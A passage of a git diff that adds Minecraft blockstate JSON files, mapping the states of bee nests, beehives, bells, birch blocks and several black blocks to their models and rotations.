"facing=east,honey_level=0": { + "y": 90, + "model": "minecraft:block/bee_nest" + }, + "facing=east,honey_level=1": { + "y": 90, + "model": "minecraft:block/bee_nest" + }, + "facing=east,honey_level=2": { + "y": 90, + "model": "minecraft:block/bee_nest" + }, + "facing=east,honey_level=3": { + "y": 90, + "model": "minecraft:block/bee_nest" + }, + "facing=east,honey_level=4": { + "y": 90, + "model": "minecraft:block/bee_nest" + }, + "facing=east,honey_level=5": { + "y": 90, + "model": "minecraft:block/bee_nest_honey" + }, + "facing=north,honey_level=0": { + "model": "minecraft:block/bee_nest" + }, + "facing=north,honey_level=1": { + "model": "minecraft:block/bee_nest" + }, + "facing=north,honey_level=2": { + "model": "minecraft:block/bee_nest" + }, + "facing=north,honey_level=3": { + "model": "minecraft:block/bee_nest" + }, + "facing=north,honey_level=4": { + "model": "minecraft:block/bee_nest" + }, + "facing=north,honey_level=5": { + "model": "minecraft:block/bee_nest_honey" + }, + "facing=south,honey_level=0": { + "y": 180, + "model": "minecraft:block/bee_nest" + }, + "facing=south,honey_level=1": { + "y": 180, + "model": "minecraft:block/bee_nest" + }, + "facing=south,honey_level=2": { + "y": 180, + "model": "minecraft:block/bee_nest" + }, + "facing=south,honey_level=3": { + "y": 180, + "model": "minecraft:block/bee_nest" + }, + "facing=south,honey_level=4": { + "y": 180, + "model": "minecraft:block/bee_nest" + }, + "facing=south,honey_level=5": { + "y": 180, + "model": "minecraft:block/bee_nest_honey" + }, + "facing=west,honey_level=0": { + "y": 270, + "model": "minecraft:block/bee_nest" + }, + "facing=west,honey_level=1": { + "y": 270, + "model": "minecraft:block/bee_nest" + }, + "facing=west,honey_level=2": { + "y": 270, + "model": "minecraft:block/bee_nest" + }, + "facing=west,honey_level=3": { + "y": 270, + "model": "minecraft:block/bee_nest" + }, + "facing=west,honey_level=4": { + "y": 270, + "model": "minecraft:block/bee_nest" + }, + "facing=west,honey_level=5": { + "y": 270, + "model": "minecraft:block/bee_nest_honey" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/beehive.json b/src/assets/minecraft/blockstates/beehive.json new file mode 100644 index 00000000..62173b7c --- /dev/null +++ b/src/assets/minecraft/blockstates/beehive.json @@ -0,0 +1,94 @@ +{ + "variants": { + "facing=east,honey_level=0": { + "y": 90, + "model": "minecraft:block/beehive" + }, + "facing=east,honey_level=1": { + "y": 90, + "model": "minecraft:block/beehive" + }, + "facing=east,honey_level=2": { + "y": 90, + "model": "minecraft:block/beehive" + }, + "facing=east,honey_level=3": { + "y": 90, + "model": "minecraft:block/beehive" + }, + "facing=east,honey_level=4": { + "y": 90, + "model": "minecraft:block/beehive" + }, + "facing=east,honey_level=5": { + "y": 90, + "model": "minecraft:block/beehive_honey" + }, + "facing=north,honey_level=0": { + "model": "minecraft:block/beehive" + }, + "facing=north,honey_level=1": { + "model": "minecraft:block/beehive" + }, + "facing=north,honey_level=2": { + "model": "minecraft:block/beehive" + }, + "facing=north,honey_level=3": { + "model": "minecraft:block/beehive" + }, + "facing=north,honey_level=4": { + "model": "minecraft:block/beehive" + }, + "facing=north,honey_level=5": { + "model": "minecraft:block/beehive_honey" + }, + "facing=south,honey_level=0": { + "y": 180, + "model": "minecraft:block/beehive" + }, + "facing=south,honey_level=1": { + "y": 180, + "model": "minecraft:block/beehive" + }, + "facing=south,honey_level=2": { + "y": 180, + "model": "minecraft:block/beehive" + }, + "facing=south,honey_level=3": { + "y": 180, + "model": "minecraft:block/beehive" + }, + "facing=south,honey_level=4": { + "y": 180, + "model": "minecraft:block/beehive" + }, + "facing=south,honey_level=5": { + "y": 180, + "model": "minecraft:block/beehive_honey" + }, + "facing=west,honey_level=0": { + "y": 270, + "model": "minecraft:block/beehive" + }, + "facing=west,honey_level=1": { + "y": 270, + "model": "minecraft:block/beehive" + }, + "facing=west,honey_level=2": { + "y": 270, + "model": "minecraft:block/beehive" + }, + "facing=west,honey_level=3": { + "y": 270, + "model": "minecraft:block/beehive" + }, + "facing=west,honey_level=4": { + "y": 270, + "model": "minecraft:block/beehive" + }, + "facing=west,honey_level=5": { + "y": 270, + "model": "minecraft:block/beehive_honey" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/beetroots.json b/src/assets/minecraft/blockstates/beetroots.json new file mode 100644 index 00000000..98e30758 --- /dev/null +++ b/src/assets/minecraft/blockstates/beetroots.json @@ -0,0 +1,16 @@ +{ + "variants": { + "age=0": { + "model": "minecraft:block/beetroots_stage0" + }, + "age=1": { + "model": "minecraft:block/beetroots_stage1" + }, + "age=2": { + "model": "minecraft:block/beetroots_stage2" + }, + "age=3": { + "model": "minecraft:block/beetroots_stage3" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bell.json b/src/assets/minecraft/blockstates/bell.json new file mode 100644 index 00000000..2af4b5dd --- /dev/null +++ b/src/assets/minecraft/blockstates/bell.json @@ -0,0 +1,64 @@ +{ + "variants": { + "attachment=ceiling,facing=east": { + "model": "minecraft:block/bell_ceiling", + "y": 90 + }, + "attachment=ceiling,facing=north": { + "model": "minecraft:block/bell_ceiling" + }, + "attachment=ceiling,facing=south": { + "model": "minecraft:block/bell_ceiling", + "y": 180 + }, + "attachment=ceiling,facing=west": { + "model": "minecraft:block/bell_ceiling", + "y": 270 + }, + "attachment=double_wall,facing=east": { + "model": "minecraft:block/bell_between_walls" + }, + "attachment=double_wall,facing=north": { + "model": "minecraft:block/bell_between_walls", + "y": 270 + }, + "attachment=double_wall,facing=south": { + "model": "minecraft:block/bell_between_walls", + "y": 90 + }, + "attachment=double_wall,facing=west": { + "model": "minecraft:block/bell_between_walls", + "y": 180 + }, + "attachment=floor,facing=east": { + "model": "minecraft:block/bell_floor", + "y": 90 + }, + "attachment=floor,facing=north": { + "model": "minecraft:block/bell_floor" + }, + "attachment=floor,facing=south": { + "model": "minecraft:block/bell_floor", + "y": 180 + }, + "attachment=floor,facing=west": { + "model": "minecraft:block/bell_floor", + "y": 270 + }, + "attachment=single_wall,facing=east": { + "model": "minecraft:block/bell_wall" + }, + "attachment=single_wall,facing=north": { + "model": "minecraft:block/bell_wall", + "y": 270 + }, + "attachment=single_wall,facing=south": { + "model": "minecraft:block/bell_wall", + "y": 90 + }, + "attachment=single_wall,facing=west": { + "model": "minecraft:block/bell_wall", + "y": 180 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_button.json b/src/assets/minecraft/blockstates/birch_button.json new file mode 100644 index 00000000..89688e2a --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_button.json @@ -0,0 +1,118 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/birch_button", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/birch_button", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/birch_button", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/birch_button", + "y": 90, + "x": 180 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "y": 90, + "x": 180 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/birch_button", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "y": 90 + }, + "face=floor,facing=north,powered=false": { + "model": "minecraft:block/birch_button" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/birch_button_pressed" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/birch_button", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/birch_button", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/birch_button", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/birch_button", + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/birch_button", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/birch_button", + "y": 270, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/birch_button_pressed", + "y": 270, + "x": 90, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_door.json b/src/assets/minecraft/blockstates/birch_door.json new file mode 100644 index 00000000..8cfa8b3c --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_door.json @@ -0,0 +1,124 @@ +{ + "variants": { + "facing=east,half=lower,hinge=left,open=false": { + "model": "minecraft:block/birch_door_bottom" + }, + "facing=east,half=lower,hinge=left,open=true": { + "model": "minecraft:block/birch_door_bottom_hinge", + "y": 90 + }, + "facing=east,half=lower,hinge=right,open=false": { + "model": "minecraft:block/birch_door_bottom_hinge" + }, + "facing=east,half=lower,hinge=right,open=true": { + "model": "minecraft:block/birch_door_bottom", + "y": 270 + }, + "facing=east,half=upper,hinge=left,open=false": { + "model": "minecraft:block/birch_door_top" + }, + "facing=east,half=upper,hinge=left,open=true": { + "model": "minecraft:block/birch_door_top_hinge", + "y": 90 + }, + "facing=east,half=upper,hinge=right,open=false": { + "model": "minecraft:block/birch_door_top_hinge" + }, + "facing=east,half=upper,hinge=right,open=true": { + "model": "minecraft:block/birch_door_top", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=false": { + "model": "minecraft:block/birch_door_bottom", + "y": 270 + }, + "facing=north,half=lower,hinge=left,open=true": { + "model": "minecraft:block/birch_door_bottom_hinge" + }, + "facing=north,half=lower,hinge=right,open=false": { + "model": "minecraft:block/birch_door_bottom_hinge", + "y": 270 + }, + "facing=north,half=lower,hinge=right,open=true": { + "model": "minecraft:block/birch_door_bottom", + "y": 180 + }, + "facing=north,half=upper,hinge=left,open=false": { + "model": "minecraft:block/birch_door_top", + "y": 270 + }, + "facing=north,half=upper,hinge=left,open=true": { + "model": "minecraft:block/birch_door_top_hinge" + }, + "facing=north,half=upper,hinge=right,open=false": { + "model": "minecraft:block/birch_door_top_hinge", + "y": 270 + }, + "facing=north,half=upper,hinge=right,open=true": { + "model": "minecraft:block/birch_door_top", + "y": 180 + }, + "facing=south,half=lower,hinge=left,open=false": { + "model": "minecraft:block/birch_door_bottom", + "y": 90 + }, + "facing=south,half=lower,hinge=left,open=true": { + "model": "minecraft:block/birch_door_bottom_hinge", + "y": 180 + }, + "facing=south,half=lower,hinge=right,open=false": { + "model": "minecraft:block/birch_door_bottom_hinge", + "y": 90 + }, + "facing=south,half=lower,hinge=right,open=true": { + "model": "minecraft:block/birch_door_bottom" + }, + "facing=south,half=upper,hinge=left,open=false": { + "model": "minecraft:block/birch_door_top", + "y": 90 + }, + "facing=south,half=upper,hinge=left,open=true": { + "model": "minecraft:block/birch_door_top_hinge", + "y": 180 + }, + "facing=south,half=upper,hinge=right,open=false": { + "model": "minecraft:block/birch_door_top_hinge", + "y": 90 + }, + "facing=south,half=upper,hinge=right,open=true": { + "model": "minecraft:block/birch_door_top" + }, + "facing=west,half=lower,hinge=left,open=false": { + "model": "minecraft:block/birch_door_bottom", + "y": 180 + }, + "facing=west,half=lower,hinge=left,open=true": { + "model": "minecraft:block/birch_door_bottom_hinge", + "y": 270 + }, + "facing=west,half=lower,hinge=right,open=false": { + "model": "minecraft:block/birch_door_bottom_hinge", + "y": 180 + }, + "facing=west,half=lower,hinge=right,open=true": { + "model": "minecraft:block/birch_door_bottom", + "y": 90 + }, + "facing=west,half=upper,hinge=left,open=false": { + "model": "minecraft:block/birch_door_top", + "y": 180 + }, + "facing=west,half=upper,hinge=left,open=true": { + "model": "minecraft:block/birch_door_top_hinge", + "y": 270 + }, + "facing=west,half=upper,hinge=right,open=false": { + "model": "minecraft:block/birch_door_top_hinge", + "y": 180 + }, + "facing=west,half=upper,hinge=right,open=true": { + "model": "minecraft:block/birch_door_top", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_fence.json b/src/assets/minecraft/blockstates/birch_fence.json new file mode 100644 index 00000000..abf75e62 --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_fence.json @@ -0,0 +1,48 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/birch_fence_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/birch_fence_side", + "uvlock": true + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/birch_fence_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/birch_fence_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/birch_fence_side", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_fence_gate.json b/src/assets/minecraft/blockstates/birch_fence_gate.json new file mode 100644 index 00000000..f156f19e --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_fence_gate.json @@ -0,0 +1,80 @@ +{ + "variants": { + "facing=east,in_wall=false,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/birch_fence_gate" + }, + "facing=east,in_wall=false,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/birch_fence_gate_open" + }, + "facing=east,in_wall=true,open=false": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/birch_fence_gate_wall" + }, + "facing=east,in_wall=true,open=true": { + "uvlock": true, + "y": 270, + "model": "minecraft:block/birch_fence_gate_wall_open" + }, + "facing=north,in_wall=false,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/birch_fence_gate" + }, + "facing=north,in_wall=false,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/birch_fence_gate_open" + }, + "facing=north,in_wall=true,open=false": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/birch_fence_gate_wall" + }, + "facing=north,in_wall=true,open=true": { + "uvlock": true, + "y": 180, + "model": "minecraft:block/birch_fence_gate_wall_open" + }, + "facing=south,in_wall=false,open=false": { + "uvlock": true, + "model": "minecraft:block/birch_fence_gate" + }, + "facing=south,in_wall=false,open=true": { + "uvlock": true, + "model": "minecraft:block/birch_fence_gate_open" + }, + "facing=south,in_wall=true,open=false": { + "uvlock": true, + "model": "minecraft:block/birch_fence_gate_wall" + }, + "facing=south,in_wall=true,open=true": { + "uvlock": true, + "model": "minecraft:block/birch_fence_gate_wall_open" + }, + "facing=west,in_wall=false,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/birch_fence_gate" + }, + "facing=west,in_wall=false,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/birch_fence_gate_open" + }, + "facing=west,in_wall=true,open=false": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/birch_fence_gate_wall" + }, + "facing=west,in_wall=true,open=true": { + "uvlock": true, + "y": 90, + "model": "minecraft:block/birch_fence_gate_wall_open" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_leaves.json b/src/assets/minecraft/blockstates/birch_leaves.json new file mode 100644 index 00000000..45a5921d --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_leaves.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/birch_leaves" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_log.json b/src/assets/minecraft/blockstates/birch_log.json new file mode 100644 index 00000000..24ba8da3 --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/birch_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/birch_log" + }, + "axis=z": { + "model": "minecraft:block/birch_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_planks.json b/src/assets/minecraft/blockstates/birch_planks.json new file mode 100644 index 00000000..b5b2e8dc --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_planks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/birch_planks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_pressure_plate.json b/src/assets/minecraft/blockstates/birch_pressure_plate.json new file mode 100644 index 00000000..0f5fb7a4 --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_pressure_plate.json @@ -0,0 +1,10 @@ +{ + "variants": { + "powered=false": { + "model": "minecraft:block/birch_pressure_plate" + }, + "powered=true": { + "model": "minecraft:block/birch_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_sapling.json b/src/assets/minecraft/blockstates/birch_sapling.json new file mode 100644 index 00000000..10737054 --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_sapling.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/birch_sapling" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_sign.json b/src/assets/minecraft/blockstates/birch_sign.json new file mode 100644 index 00000000..dec6f07d --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/birch_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_slab.json b/src/assets/minecraft/blockstates/birch_slab.json new file mode 100644 index 00000000..28e4f33d --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/birch_slab" + }, + "type=double": { + "model": "minecraft:block/birch_planks" + }, + "type=top": { + "model": "minecraft:block/birch_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_stairs.json b/src/assets/minecraft/blockstates/birch_stairs.json new file mode 100644 index 00000000..4f6545d9 --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/birch_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/birch_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/birch_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/birch_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/birch_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/birch_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/birch_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/birch_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/birch_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/birch_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/birch_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/birch_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/birch_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/birch_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/birch_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/birch_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/birch_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/birch_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/birch_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/birch_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/birch_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/birch_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/birch_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/birch_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/birch_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/birch_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/birch_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/birch_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/birch_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/birch_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/birch_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/birch_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/birch_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/birch_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/birch_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/birch_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/birch_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/birch_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/birch_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/birch_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_trapdoor.json b/src/assets/minecraft/blockstates/birch_trapdoor.json new file mode 100644 index 00000000..47b471d6 --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_trapdoor.json @@ -0,0 +1,69 @@ +{ + "variants": { + "facing=east,half=bottom,open=false": { + "model": "minecraft:block/birch_trapdoor_bottom", + "y": 90 + }, + "facing=east,half=bottom,open=true": { + "model": "minecraft:block/birch_trapdoor_open", + "y": 90 + }, + "facing=east,half=top,open=false": { + "model": "minecraft:block/birch_trapdoor_top", + "y": 90 + }, + "facing=east,half=top,open=true": { + "model": "minecraft:block/birch_trapdoor_open", + "x": 180, + "y": 270 + }, + "facing=north,half=bottom,open=false": { + "model": "minecraft:block/birch_trapdoor_bottom" + }, + "facing=north,half=bottom,open=true": { + "model": "minecraft:block/birch_trapdoor_open" + }, + "facing=north,half=top,open=false": { + "model": "minecraft:block/birch_trapdoor_top" + }, + "facing=north,half=top,open=true": { + "model": "minecraft:block/birch_trapdoor_open", + "x": 180, + "y": 180 + }, + "facing=south,half=bottom,open=false": { + "model": "minecraft:block/birch_trapdoor_bottom", + "y": 180 + }, + "facing=south,half=bottom,open=true": { + "model": "minecraft:block/birch_trapdoor_open", + "y": 180 + }, + "facing=south,half=top,open=false": { + "model": "minecraft:block/birch_trapdoor_top", + "y": 180 + }, + "facing=south,half=top,open=true": { + "model": "minecraft:block/birch_trapdoor_open", + "x": 180, + "y": 0 + }, + "facing=west,half=bottom,open=false": { + "model": "minecraft:block/birch_trapdoor_bottom", + "y": 270 + }, + "facing=west,half=bottom,open=true": { + "model": "minecraft:block/birch_trapdoor_open", + "y": 270 + }, + "facing=west,half=top,open=false": { + "model": "minecraft:block/birch_trapdoor_top", + "y": 270 + }, + "facing=west,half=top,open=true": { + "model": "minecraft:block/birch_trapdoor_open", + "x": 180, + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_wall_sign.json b/src/assets/minecraft/blockstates/birch_wall_sign.json new file mode 100644 index 00000000..dec6f07d --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_wall_sign.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/birch_sign" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/birch_wood.json b/src/assets/minecraft/blockstates/birch_wood.json new file mode 100644 index 00000000..4bda7ed3 --- /dev/null +++ b/src/assets/minecraft/blockstates/birch_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/birch_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/birch_wood" + }, + "axis=z": { + "model": "minecraft:block/birch_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_banner.json b/src/assets/minecraft/blockstates/black_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/black_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_bed.json b/src/assets/minecraft/blockstates/black_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/black_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_carpet.json b/src/assets/minecraft/blockstates/black_carpet.json new file mode 100644 index 00000000..043c7fc5 --- /dev/null +++ b/src/assets/minecraft/blockstates/black_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/black_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_concrete.json b/src/assets/minecraft/blockstates/black_concrete.json new file mode 100644 index 00000000..797f0358 --- /dev/null +++ b/src/assets/minecraft/blockstates/black_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/black_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_concrete_powder.json b/src/assets/minecraft/blockstates/black_concrete_powder.json new file mode 100644 index 00000000..56a53d03 --- /dev/null +++ b/src/assets/minecraft/blockstates/black_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/black_concrete_powder" + }, + { + "model": "minecraft:block/black_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/black_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/black_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_glazed_terracotta.json b/src/assets/minecraft/blockstates/black_glazed_terracotta.json new file mode 100644 index 00000000..e20988dc --- /dev/null +++ b/src/assets/minecraft/blockstates/black_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/black_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/black_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/black_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/black_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_shulker_box.json b/src/assets/minecraft/blockstates/black_shulker_box.json new file mode 100644 index 00000000..289aec04 --- /dev/null +++ b/src/assets/minecraft/blockstates/black_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/black_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_stained_glass.json b/src/assets/minecraft/blockstates/black_stained_glass.json new file mode 100644 index 00000000..728f216b --- /dev/null +++ b/src/assets/minecraft/blockstates/black_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/black_stained_glass" + } + } +} \ No newline at end of file diff --git 